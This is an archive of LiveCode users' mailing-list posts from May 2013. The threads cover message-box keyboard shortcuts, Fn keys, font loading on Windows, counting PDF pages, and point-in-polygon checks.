richmondmathewson at gmail.com Wed May 29 04:29:32 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 11:29:32 +0300 Subject: Simple stuff, Message box on Laptop In-Reply-To: References: Message-ID: <51A5BC6C.7090009@gmail.com> On 05/29/2013 06:17 AM, Mike Bonner wrote: > crtl-return does work in the multiline msg box. Probably that would be command-return (i.e. the key with an apple on it) on a Macintosh. > > > On Tue, May 28, 2013 at 9:09 PM, Mark Rauterkus wrote: > >> Hi, >> >> On a laptop I don't have an "ENTER" key and can't use the message box by >> hitting ENTER to run the code. The Return key (WIN) just puts a new line in >> the message box. >> >> Is there a work around? >> >> Seems that CTR + ENTER or something similar would be nice. >> >> >> >> -- >> Ta. >> >> >> Mark Rauterkus Mark.Rauterkus at gmail.com >> PPS Summer Dreamers' Swim and Water Polo Camp Head Coach >> Pittsburgh Combined Water Polo Team >> >> 412 298 3432 = cell >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Wed May 29 04:36:36 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 11:36:36 +0300 Subject: Best screencast demo ever! In-Reply-To: <525D4123-0525-4003-B3ED-B4374BFD8473@numericable.com> References: <525D4123-0525-4003-B3ED-B4374BFD8473@numericable.com> Message-ID: <51A5BE14.2080509@gmail.com> On 05/28/2013 10:23 AM, Ren? Micout wrote: > YES !!! Two things occurred to me: 1. Couldn't somebody "rip" that off and make a version in Livecode? 2. I wonder about the legality of the company vis-a-vis "Hey Jude". The first one interests me a lot. Richmond. > Le 28 mai 2013 ? 03:49, Bill Vlahos a ?crit : > >> This doesn't have anything to do with LiveCode or me but it is so clever I just had to share it. >> >> https://www.lucidchart.com/pages/examples/flowchart_software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Wed May 29 05:01:44 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 12:01:44 +0300 Subject: 'Enlarge with sample' Message-ID: <51A5C3F8.2010203@gmail.com> As ever, the Spam box in my Yahoo mail is excellent at catching the BEST messages, and this one really got me thinking . . . Certainly, I've enlarged since the Open Source version of Livecode was released, and I hope that all of the good folk on the use-list have enlarged as well. However, one thing that worries me is that there are millions of people who are having droopy days with C++, VB, and the "programming environment formally known as Real BASIC", mainly because they are unaware of the benefits of Livecode and how it can affect one's potency. I think it is time that RunRev started telling the world about their product with truly telling titles such as 'Enlarge with sample', 'Get Bigger with Livecode', and, just possibly, Jacque Landman Gay could craft a suitable message around 'Keep Her Up All Night with Livecode'. I was seriously disappointed, when I opened the message to find that it was NOT an exciting Mail Drop from Kevin Miller. Hey, Kevin, it is going to take more than growing a beard to make all those frustrated types out there realise that with Livecode they can be: 'Master of the bed' [surely by 'bed' they must mean some new type of computer I haven't heard of yet?]. Richmond. From igor at semperuna.com Wed May 29 05:19:57 2013 From: igor at semperuna.com (Igor de Oliveira Couto) Date: Wed, 29 May 2013 19:19:57 +1000 Subject: Simple stuff, Message box on Laptop In-Reply-To: <51A5BC6C.7090009@gmail.com> References: <51A5BC6C.7090009@gmail.com> Message-ID: <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> On 29/05/2013, at 6:29 PM, Richmond wrote: >> crtl-return does work in the multiline msg box. > > Probably that would be command-return (i.e. the key with an apple on it) on a Macintosh. If the message box is set to multi-line mode, then pressing the return key simply adds another line. On my MacBook, to get the multi-line message box to execute, you press 'Fn+Return'. The 'Fn' (Function) key is usually located to the left of your left Control key. On Mac laptops, the Fn key triggers several 'alternative' functions on some of the standard keys: Fn+Return does 'Enter', Fn+Delete does forward delete. I hope this helps! -- Igor Couto Sydney, Australia From richmondmathewson at gmail.com Wed May 29 05:36:24 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 12:36:24 +0300 Subject: Simple stuff, Message box on Laptop In-Reply-To: <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> Message-ID: <51A5CC18.3050605@gmail.com> On 05/29/2013 12:19 PM, Igor de Oliveira Couto wrote: > On 29/05/2013, at 6:29 PM, Richmond wrote: > >>> crtl-return does work in the multiline msg box. >> Probably that would be command-return (i.e. the key with an apple on it) on a Macintosh. > If the message box is set to multi-line mode, then pressing the return key simply adds another line. > > On my MacBook, to get the multi-line message box to execute, you press 'Fn+Return'. The 'Fn' (Function) key is usually located to the left of your left Control key. On Mac laptops, the Fn key triggers several 'alternative' functions on some of the standard keys: Fn+Return does 'Enter', Fn+Delete does forward delete. I have a Mac keyboard that has F-keys running up to 15, but NO 'Fn' key. As far as I can tell 'Fn' keys are only present on Mac laptops. The reason for the Fn key on laptops is that the keys along the top of the laptop keyboard have dual functions: as F-keys, and as keys for volume control, screen brightness and so on. The F-key functions on a Mac laptop do NOT work unless the Fn key is depressed as well. On a desktop Mac the F-Keys function directly. Richmond. > > I hope this helps! > > > -- > Igor Couto > Sydney, Australia > > > From richmondmathewson at gmail.com Wed May 29 05:40:07 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 12:40:07 +0300 Subject: Mac Function Keys Message-ID: <51A5CCF7.8070603@gmail.com> This could be subtitled "The Full Nausea" as anybody who doesn't have a photographic memory is going to get in serious trouble trying to memorise this lot. http://support.apple.com/kb/ht1343 And if you print them out, laminate them in plastic and glue them to the edges of your monitor the thing will look like an albino elephant on steroids. Be that as it may; a FEW of those functions may be worth learning. Richmond. From dixonja at hotmail.co.uk Wed May 29 05:41:55 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Wed, 29 May 2013 10:41:55 +0100 Subject: LC Users - in the Bristol, Southhampton,Taunton triangle Message-ID: Are there any liveCode users within the above triangle in the UK ? From igor at semperuna.com Wed May 29 05:44:58 2013 From: igor at semperuna.com (Igor de Oliveira Couto) Date: Wed, 29 May 2013 19:44:58 +1000 Subject: Simple stuff, Message box on Laptop In-Reply-To: <51A5CC18.3050605@gmail.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> Message-ID: On 29/05/2013, at 7:36 PM, Richmond wrote: > As far as I can tell 'Fn' keys are only present on Mac laptops. Not quite true: http://www.dummies.com/how-to/content/how-to-use-the-fn-key-on-your-laptop.html -- Igor Couto Sydney, Australia From m.schonewille at economy-x-talk.com Wed May 29 07:05:11 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 29 May 2013 13:05:11 +0200 Subject: [ANN] A quick update on my book In-Reply-To: <51A35859.8040305@economy-x-talk.com> References: <51A35859.8040305@economy-x-talk.com> Message-ID: <51A5E0E7.1040806@economy-x-talk.com> Hi, We have 7 copies left and I expect the book to be sold out within 2 days, maybe tonight already. http://qery.us/3hn -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From toolbook at kestner.de Wed May 29 08:11:44 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Wed, 29 May 2013 14:11:44 +0200 Subject: AW: [ANN] A quick update on my book In-Reply-To: <51A5E0E7.1040806@economy-x-talk.com> References: <51A35859.8040305@economy-x-talk.com> <51A5E0E7.1040806@economy-x-talk.com> Message-ID: <001e01ce5c65$afe5ac40$0fb104c0$@de> Ok, you finally got me with your last rush marketing :) Tiemo > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von Mark Schonewille > Gesendet: Mittwoch, 29. Mai 2013 13:05 > An: How to use LiveCode > Betreff: Re: [ANN] A quick update on my book > > Hi, > > We have 7 copies left and I expect the book to be sold out within 2 days, > maybe tonight already. > > http://qery.us/3hn > > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour > spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" > http://qery.us/3fi > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Wed May 29 08:09:31 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 15:09:31 +0300 Subject: revFontLoad, Unicode and Windows post-XP ? Message-ID: <51A5EFFB.3030603@gmail.com> I wonder if anybody else has run across this problem with Windows Vista (does anybody use Vista?), 7 or 8? If I install a font that has non-standard Unicode chars in the Personal Private Use Area on one of these Windows systems (I test with Windows 7) something 'funny' happens: Those chars that are in the standard Unicode places are substituted for a standard Windows-native font, but those in the PPU area are left as they are, kerning rules in either the font or inwith Livecode itslef are over-ridden by Windows; something that does not happen with Macintosh, Linux or Windows XP. From my point of view, at least, this is a "show stopper" for Windows V, 7 and 8. I have been digging around in the LC Documentation and found 'revFontLoad' which looks as though it might be a possibility, except that it seems to rely on absolute paths, when one cannot rely on an end-user putting one's homegrown font exactly where one wants it to be. I would be grateful if anybody who has run up against this or similar problems and has found a way to circumvent them could let me (and the use-list!) know of how they coped with this. Richmond. From richmondmathewson at gmail.com Wed May 29 08:14:07 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 15:14:07 +0300 Subject: Simple stuff, Message box on Laptop In-Reply-To: References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> Message-ID: <51A5F10F.7000203@gmail.com> On 05/29/2013 12:44 PM, Igor de Oliveira Couto wrote: > On 29/05/2013, at 7:36 PM, Richmond wrote: > >> As far as I can tell 'Fn' keys are only present on Mac laptops. > Not quite true: > > http://www.dummies.com/how-to/content/how-to-use-the-fn-key-on-your-laptop.html Indeed, both re your link and that I see that my Mac PowerBook 180 doesn't have an Fn key. However, that was not really the thrust of what I was writing; it was that, as far as I can tell, No desktop computers have Fn keys on their keyboards, so your information, while being jolly useful for laptops is useless for non-laptops. > > -- > Igor Couto > Sydney, Australia > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From toolbook at kestner.de Wed May 29 08:27:03 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Wed, 29 May 2013 14:27:03 +0200 Subject: lost CRs in Mailing list? Message-ID: <001f01ce5c67$d3671c60$7a355520$@de> More and more often the mailing list server dumps all of my line breaks in my emails and my whole email is in one line (see my two previous last posts). [second line:] Sometimes only a few CRs are lost [third line:] and sometimes all line breaks are included. [fourth line:] Any idea what is happening? Is there anything I can do? [fifth line:] Thanks Tiemo From warren at warrensweb.us Wed May 29 08:31:00 2013 From: warren at warrensweb.us (Warren Samples) Date: Wed, 29 May 2013 07:31:00 -0500 Subject: revFontLoad, Unicode and Windows post-XP ? In-Reply-To: <51A5EFFB.3030603@gmail.com> References: <51A5EFFB.3030603@gmail.com> Message-ID: <51A5F504.3040208@warrensweb.us> On 05/29/2013 07:09 AM, Richmond wrote: > > Those chars that are in the standard Unicode places are substituted for > a standard Windows-native font, > but those in the PPU area are left as they are, kerning rules in either > the font or inwith Livecode itslef are over-ridden by Windows; something > that does not happen with Macintosh, Linux or Windows XP. > > From my point of view, at least, this is a "show stopper" for Windows > V, 7 and 8. > > I have been digging around in the LC Documentation and found > 'revFontLoad' which looks > as though it might be a possibility, except that it seems to rely on > absolute paths, when one cannot rely > on an end-user putting one's homegrown font exactly where one wants it > to be. > > I would be grateful if anybody who has run up against this or similar > problems and has found a way to circumvent them could let me (and the > use-list!) know of how they coped with this. > > Richmond. Richmond, you've been trying get help with this for some time now and I don't recall seeing anyone respond with anything really helpful for you. I suspect that it's because your project and your problem are rather specialized. What happens if you use your font in some other app? Does it work as you would expect it to in other apps or do you get the same substitutions? Is it a LiveCode issue or maybe a Windows issue? Does using revFontLoad resolve the problem on a test machine? If you install the font using a script, you should be able to control where it goes. Why not out install it where Windows expects user installed fonts to be? Perhaps you could find a a utility to make a proper Windows installer and have it put your font where it needs to go? Good luck! Warren From m.schonewille at economy-x-talk.com Wed May 29 09:05:27 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 29 May 2013 15:05:27 +0200 Subject: If you are trying to contact me... Message-ID: <51A5FD17.4030801@economy-x-talk.com> Hi, If you are trying to contact me and you don't get any replies, try writing from a different e-mail address or enter a different e-mail address on the web form or try to provide me with a different way to contact you (no phone). -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi From richmondmathewson at gmail.com Wed May 29 09:06:58 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 16:06:58 +0300 Subject: revFontLoad, Unicode and Windows post-XP ? In-Reply-To: <51A5F504.3040208@warrensweb.us> References: <51A5EFFB.3030603@gmail.com> <51A5F504.3040208@warrensweb.us> Message-ID: <51A5FD72.4070907@gmail.com> On 05/29/2013 03:31 PM, Warren Samples wrote: > On 05/29/2013 07:09 AM, Richmond wrote: >> >> Those chars that are in the standard Unicode places are substituted for >> a standard Windows-native font, >> but those in the PPU area are left as they are, kerning rules in either >> the font or inwith Livecode itslef are over-ridden by Windows; something >> that does not happen with Macintosh, Linux or Windows XP. >> >> From my point of view, at least, this is a "show stopper" for Windows >> V, 7 and 8. >> >> I have been digging around in the LC Documentation and found >> 'revFontLoad' which looks >> as though it might be a possibility, except that it seems to rely on >> absolute paths, when one cannot rely >> on an end-user putting one's homegrown font exactly where one wants it >> to be. >> >> I would be grateful if anybody who has run up against this or similar >> problems and has found a way to circumvent them could let me (and the >> use-list!) know of how they coped with this. >> >> Richmond. > > > Richmond, you've been trying get help with this for some time now and > I don't recall seeing anyone respond with anything really helpful for > you. I suspect that it's because your project and your problem are > rather specialized. What happens if you use your font in some other > app? Does it work as you would expect it to in other apps or do you > get the same substitutions? Is it a LiveCode issue or maybe a Windows > issue? Does using revFontLoad resolve the problem on a test machine? > > If you install the font using a script, you should be able to control > where it goes. Why not out install it where Windows expects user > installed fonts to be? Aha; well as a non-Windows user (except for the odd bit of testing) I would be most grateful if you could tell me where Windows expects user installed fonts to be, as I don't have a clue. > Perhaps you could find a a utility to make a proper Windows installer > and have it put your font where it needs to go? > > Good luck! > > Warren > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From klaus at major-k.de Wed May 29 09:10:42 2013 From: klaus at major-k.de (Klaus major-k) Date: Wed, 29 May 2013 15:10:42 +0200 Subject: revFontLoad, Unicode and Windows post-XP ? In-Reply-To: <51A5FD72.4070907@gmail.com> References: <51A5EFFB.3030603@gmail.com> <51A5F504.3040208@warrensweb.us> <51A5FD72.4070907@gmail.com> Message-ID: <1421183D-1714-4E10-864C-E3E08BE6E60A@major-k.de> Hi Richmond, Am 29.05.2013 um 15:06 schrieb Richmond : > On 05/29/2013 03:31 PM, Warren Samples wrote: >> On 05/29/2013 07:09 AM, Richmond wrote: >>> >>> Those chars that are in the standard Unicode places are substituted for >>> a standard Windows-native font, >>> but those in the PPU area are left as they are, kerning rules in either >>> the font or inwith Livecode itslef are over-ridden by Windows; something >>> that does not happen with Macintosh, Linux or Windows XP. >>> >>> From my point of view, at least, this is a "show stopper" for Windows >>> V, 7 and 8. >>> >>> I have been digging around in the LC Documentation and found >>> 'revFontLoad' which looks >>> as though it might be a possibility, except that it seems to rely on >>> absolute paths, when one cannot rely >>> on an end-user putting one's homegrown font exactly where one wants it >>> to be. >>> >>> I would be grateful if anybody who has run up against this or similar >>> problems and has found a way to circumvent them could let me (and the >>> use-list!) know of how they coped with this. >>> >>> Richmond. >> >> >> Richmond, you've been trying get help with this for some time now and I don't recall seeing anyone respond with anything really helpful for you. I suspect that it's because your project and your problem are rather specialized. What happens if you use your font in some other app? Does it work as you would expect it to in other apps or do you get the same substitutions? Is it a LiveCode issue or maybe a Windows issue? Does using revFontLoad resolve the problem on a test machine? >> >> If you install the font using a script, you should be able to control where it goes. Why not out install it where Windows expects user installed fonts to be? > > Aha; well as a non-Windows user (except for the odd bit of testing) I would be most grateful if you could tell me where > Windows expects user installed fonts to be, as I don't have a clue. Default is the Windows FONTS folder -> specialfolderpath("Fonts") :-) But Livecode can load any font from ANYWHERE you put it. So you could install the font into the users documenst folder, if only your app needs to use it. >> Perhaps you could find a a utility to make a proper Windows installer and have it put your font where it needs to go? >> >> Good luck! >> >> Warren Best Klaus -- Klaus Major http://www.major-k.de klaus at major-k.de From ray at linkit.com Wed May 29 09:21:00 2013 From: ray at linkit.com (Ray Horsley) Date: Wed, 29 May 2013 09:21:00 -0400 Subject: How Many Pages are in a PDF? In-Reply-To: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> References: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> Message-ID: Anybody know how to get this? I've tried loading the PDF into a player but this only gives me access to things in terms of time such as the TimeScale and the CurrentTime of the player. From rjb at robelko.com Wed May 29 09:11:17 2013 From: rjb at robelko.com (Robert Brenstein) Date: Wed, 29 May 2013 15:11:17 +0200 Subject: Best screencast demo ever! In-Reply-To: <51A5BE14.2080509@gmail.com> References: <525D4123-0525-4003-B3ED-B4374BFD8473@numericable.com> <51A5BE14.2080509@gmail.com> Message-ID: On 29.05.2013 at 11:36 Uhr +0300 Richmond apparently wrote: > >2. I wonder about the legality of the company vis-a-vis "Hey Jude". > Apropos legality, I can't see this video because "Unfortunately, this EMI-music-content is not available in Germany because GEMA has not granted the respective music publishing rights." Robert From paulhibbert at mac.com Wed May 29 09:36:37 2013 From: paulhibbert at mac.com (Paul Hibbert) Date: Wed, 29 May 2013 06:36:37 -0700 Subject: Simple stuff, Message box on Laptop In-Reply-To: <51A5F10F.7000203@gmail.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> Message-ID: <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> On 2013-05-29, at 5:14 AM, Richmond wrote: > However, that was not really the thrust of what I was writing; it was that, as far as I can tell, > No desktop computers have Fn keys on their keyboards, so your information, while being > jolly useful for laptops is useless for non-laptops. Not any more, my 2009 iMac, 2007 MacPro both have Fn keys! The iMac has a small Bluetooth keyboard, but the MacPro has the extended USB keyboard, they are both the flat aluminium type of keyboard. Paul From richmondmathewson at gmail.com Wed May 29 09:54:03 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 16:54:03 +0300 Subject: Simple stuff, Message box on Laptop In-Reply-To: <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> Message-ID: <51A6087B.3090308@gmail.com> On 05/29/2013 04:36 PM, Paul Hibbert wrote: > On 2013-05-29, at 5:14 AM, Richmond wrote: > >> However, that was not really the thrust of what I was writing; it was that, as far as I can tell, >> No desktop computers have Fn keys on their keyboards, so your information, while being >> jolly useful for laptops is useless for non-laptops. > Not any more, my 2009 iMac, 2007 MacPro both have Fn keys! That's interesting. It would, however, be useful to find out how one can do various things with the Message Box on "non-Fn bearing Mac keyboards" that's NFBMK to you :) > > The iMac has a small Bluetooth keyboard, but the MacPro has the extended USB keyboard, they are both the flat aluminium type of keyboard. > > Paul > _______________________________________________ > From ray at linkit.com Wed May 29 10:17:00 2013 From: ray at linkit.com (Ray Horsley) Date: Wed, 29 May 2013 10:17:00 -0400 Subject: Point in Poly In-Reply-To: <51A6087B.3090308@gmail.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> Message-ID: Is there a way to determine if a point is inside of a polygon graphic, and not necessarily inside the graphic's containing rectangle? From dochawk at gmail.com Wed May 29 10:44:30 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 29 May 2013 07:44:30 -0700 Subject: How Many Pages are in a PDF? In-Reply-To: References: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> Message-ID: On Wed, May 29, 2013 at 6:21 AM, Ray Horsley wrote: > Anybody know how to get this? I've tried loading the PDF into a player but this >only gives me access to things in terms of time such as the TimeScale and the >CurrentTime of the player. from unix commands, pdfinfo thefile.pdf and grep for pagess, or strings thefile.pdf | grep Count | tail -1 |sed -e "s/.*Count.\([0-9]\{1,\ }\).*/\1/" checks for page indicators. I've used both. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From devin_asay at byu.edu Wed May 29 10:44:25 2013 From: devin_asay at byu.edu (Devin Asay) Date: Wed, 29 May 2013 14:44:25 +0000 Subject: Point in Poly In-Reply-To: References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> Message-ID: <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> On May 29, 2013, at 8:17 AM, Ray Horsley wrote: > Is there a way to determine if a point is inside of a polygon graphic, and not necessarily inside the graphic's containing rectangle? Ray, Have you tried the within() function? It works the way you describe for images, but I'm not sure about graphics objects. Devin Devin Asay Office of Digital Humanities Brigham Young University From bonnmike at gmail.com Wed May 29 10:54:35 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 29 May 2013 08:54:35 -0600 Subject: Point in Poly In-Reply-To: <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> Message-ID: If it doesn't work the same with graphics you could cheat and snapshot, overlay, check, delete the snapshot. On Wed, May 29, 2013 at 8:44 AM, Devin Asay wrote: > > On May 29, 2013, at 8:17 AM, Ray Horsley wrote: > > > Is there a way to determine if a point is inside of a polygon graphic, > and not necessarily inside the graphic's containing rectangle? > > Ray, > > Have you tried the within() function? It works the way you describe for > images, but I'm not sure about graphics objects. > > Devin > > > > Devin Asay > Office of Digital Humanities > Brigham Young University > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Wed May 29 11:25:34 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 18:25:34 +0300 Subject: Point in Poly In-Reply-To: <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> Message-ID: <51A61DEE.5040400@gmail.com> On 05/29/2013 05:44 PM, Devin Asay wrote: > On May 29, 2013, at 8:17 AM, Ray Horsley wrote: > >> Is there a way to determine if a point is inside of a polygon graphic, and not necessarily inside the graphic's containing rectangle? Unfortunately my feeble attempt with: on mouseDown grab me end mouseDown on mouseStill Down if the loc of me is within the filled of graphic "XXX" then put "inside" into fld "INN" else put empty into fld "INN" end if end mouseStillDown resulted in no joy as THE FILLED was invented by me :( and, of course, 'the rect' is no use at all. Richmond. > Ray, > > Have you tried the within() function? It works the way you describe for images, but I'm not sure about graphics objects. > > Devin > > > > Devin Asay > Office of Digital Humanities > Brigham Young University > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gcanyon at gmail.com Wed May 29 11:33:59 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 29 May 2013 10:33:59 -0500 Subject: Point in Poly In-Reply-To: <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> Message-ID: On Wed, May 29, 2013 at 9:44 AM, Devin Asay wrote: > Have you tried the within() function? It works the way you describe for > images, but I'm not sure about graphics objects. This works for graphics objects as well, as long as their opaque is true. within(grc 1,the loc of btn 1) -- true if the point is within the actual graphic, not just the rect. From dsc at swcp.com Wed May 29 11:34:45 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 29 May 2013 09:34:45 -0600 Subject: lost CRs in Mailing list? In-Reply-To: <001f01ce5c67$d3671c60$7a355520$@de> References: <001f01ce5c67$d3671c60$7a355520$@de> Message-ID: I don't see this in my mail client for this email or the previous two. Mail will be processed by the sending mail client, filtered by programs you or your company set up, handled by mail servers, processed and filtered by the mailing list program, sent back to you, filtered again by anything your place has set up and then processed by your mail client. Any one of those could do something non standard that another does not handle well. This kind of thing is usually caused by two bad programs. Dar On May 29, 2013, at 6:27 AM, Tiemo Hollmann TB wrote: > More and more often the mailing list server dumps all of my line breaks in > my emails and my whole email is in one line (see my two previous last > posts). > > [second line:] Sometimes only a few CRs are lost > > [third line:] and sometimes all line breaks are included. > > [fourth line:] Any idea what is happening? Is there anything I can do? > > [fifth line:] Thanks Tiemo > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Wed May 29 11:36:21 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 29 May 2013 09:36:21 -0600 Subject: Point in Poly In-Reply-To: <51A61DEE.5040400@gmail.com> References: <51A5BC6C.7090009@gmail.com> <105C099A-0B3E-40DC-B703-E1BDAB703590@semperuna.com> <51A5CC18.3050605@gmail.com> <51A5F10F.7000203@gmail.com> <0E34E80F-4D4F-44DD-AE5D-FAE9F3BCBA29@mac.com> <51A6087B.3090308@gmail.com> <2F940A48-846D-4B0F-B94B-A613D16F1054@byu.edu> <51A61DEE.5040400@gmail.com> Message-ID: if the grc is set to opaque (or selected) it works fine, if within(grc "mygrc", the loc of me) then .... On Wed, May 29, 2013 at 9:25 AM, Richmond wrote: > On 05/29/2013 05:44 PM, Devin Asay wrote: > >> On May 29, 2013, at 8:17 AM, Ray Horsley wrote: >> >> Is there a way to determine if a point is inside of a polygon graphic, >>> and not necessarily inside the graphic's containing rectangle? >>> >> > Unfortunately my feeble attempt with: > > on mouseDown > grab me > end mouseDown > > on mouseStill Down > if the loc of me is within the filled of graphic "XXX" then > put "inside" into fld "INN" > else > put empty into fld "INN" > end if > end mouseStillDown > > resulted in no joy as THE FILLED was invented by me :( > > and, of course, 'the rect' is no use at all. > > Richmond. > > Ray, >> >> Have you tried the within() function? It works the way you describe for >> images, but I'm not sure about graphics objects. >> >> Devin >> >> >> >> Devin Asay >> Office of Digital Humanities >> Brigham Young University >> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From dunbarx at aol.com Wed May 29 11:41:58 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 29 May 2013 11:41:58 -0400 (EDT) Subject: Point in Poly In-Reply-To: References: 